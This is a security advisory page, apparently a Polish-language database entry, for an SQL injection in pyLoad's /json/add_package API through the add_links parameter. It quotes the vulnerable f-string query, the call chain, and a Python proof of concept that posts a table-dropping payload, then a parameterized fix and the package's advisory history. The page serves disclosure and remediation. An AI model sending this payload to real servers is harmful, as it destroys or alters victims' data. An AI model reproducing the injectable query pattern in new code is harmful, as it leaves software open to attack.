Wysoka

PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter

  • Ujawniono: 12.08.2025
  • Aktualizacja: 11.10.2026 13:18

Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details

  • Affected file:https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271
  • Affected code:
python
@style.queue
    def update_link_info(self, data):
        """
        data is list of tuples (name, size, status, url)
        """
        self.c.executemany(
            "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
            data,
        )
        ids = []
        statuses = "','".join(x[3] for x in data)
        self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
        for r in self.c:
            ids.append(int(r[0]))
        return ids

statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

  • Vulnerability Chain
xml
josn_blueprint.py#add_package
src/pyload/core/api/__init__.py#add_package
src/pyload/core/managers/file_manager.py#add_links
src/pyload/core/threads/info_thread.py#run
src/pyload/core/threads/info_thread.py#update_info
src/pyload/core/managers/file_manager.py#update_file_info
src/pyload/core/database/file_database.py#update_link_info

PoC

python
import requests


if __name__ == "__main__":
    url = "http://localhost:8000/json/add_package"
    data = {
        "add_name": "My Downloads1",
        "add_dest": "0",
        "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
        "add_password": "mypassword"
    }

    response = requests.post(url, cookies=your_cookies, data=data)
    print(response.status_code, response.text)
<img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />

Remediation

python
def update_link_info(self, data):
   """
data is list of tuples (name, size, status, url)
"""
   self.c.executemany(
       "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
       data,
   )
   
   # 提取所有url
   urls = [x[3] for x in data]
   
   # 构建参数化查询,避免SQL注入
   placeholders = ','.join(['?'] * len(urls))
   query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
   self.c.execute(query, urls)
   
   ids = [int(row[0]) for row in self.c.fetchall()]
   return ids

Impact

Attackers can modify or delete data in the database, causing data errors or loss.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pyload-ng < 0.5.0b3.dev91 0.5.0b3.dev91

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Słabość (CWE)
CWE-89
Platforma
Python (PyPI)
Paczka
pyload-ng
Ujawniono
12.08.2025
Aktualizacja
11.10.2026 13:18

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-1821 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-pwh4-6r3m-j2rf - CC BY 4.0

Historia podatności: pyload-ng

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (58) w archiwum
Wszystkich wpisów
58
Pierwsza → ostatnia
01.2023 10.2026
Bez poprawki
24
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 9
  • Wysoka 23
  • Średnia 25
  • Niska 1

Ujawnienia w latach

  1. 2023: 9
  2. 2024: 8
  3. 2025: 8
  4. 2026: 33
Istotność:
  1. Wysoka · 7.5 ghsa-889w-m37p-88m5 >= 0.5.0b3.dev98, <= 0.5.0b3.dev101 brak poprawki
  2. Wysoka · 8.1 ghsa-r44w-v6gf-x3p6 < 0.5.0b3.dev101 0.5.0b3.dev101
  3. Wysoka · 8.1 CVE-2026-42315 < 0.5.0b3.dev100 0.5.0b3.dev100
  4. Wysoka · 8.8 CVE-2026-41133 <= 0.5.0b3.dev97 brak poprawki
  5. Wysoka · 8.8 CVE-2026-35463 <= 0.5.0b3.dev96 brak poprawki
  6. Wysoka · 7.7 CVE-2026-35187 <= 0.5.0b3.dev96 brak poprawki
  7. Wysoka · 7.1 CVE-2026-29778 >= 0.5.0b3.dev13, < 0.5.0b3.dev97 0.5.0b3.dev97
  8. Wysoka · 8.1 CVE-2025-61773 < 0.5.0b3.dev91 0.5.0b3.dev91
  9. Wysoka CVE-2025-57751 < 0.5.0b3.dev92 0.5.0b3.dev92
  10. PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter ten wpis
    Wysoka CVE-2025-55156 < 0.5.0b3.dev91 0.5.0b3.dev91
Pokaż więcej (12) Widać 20 z 32

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.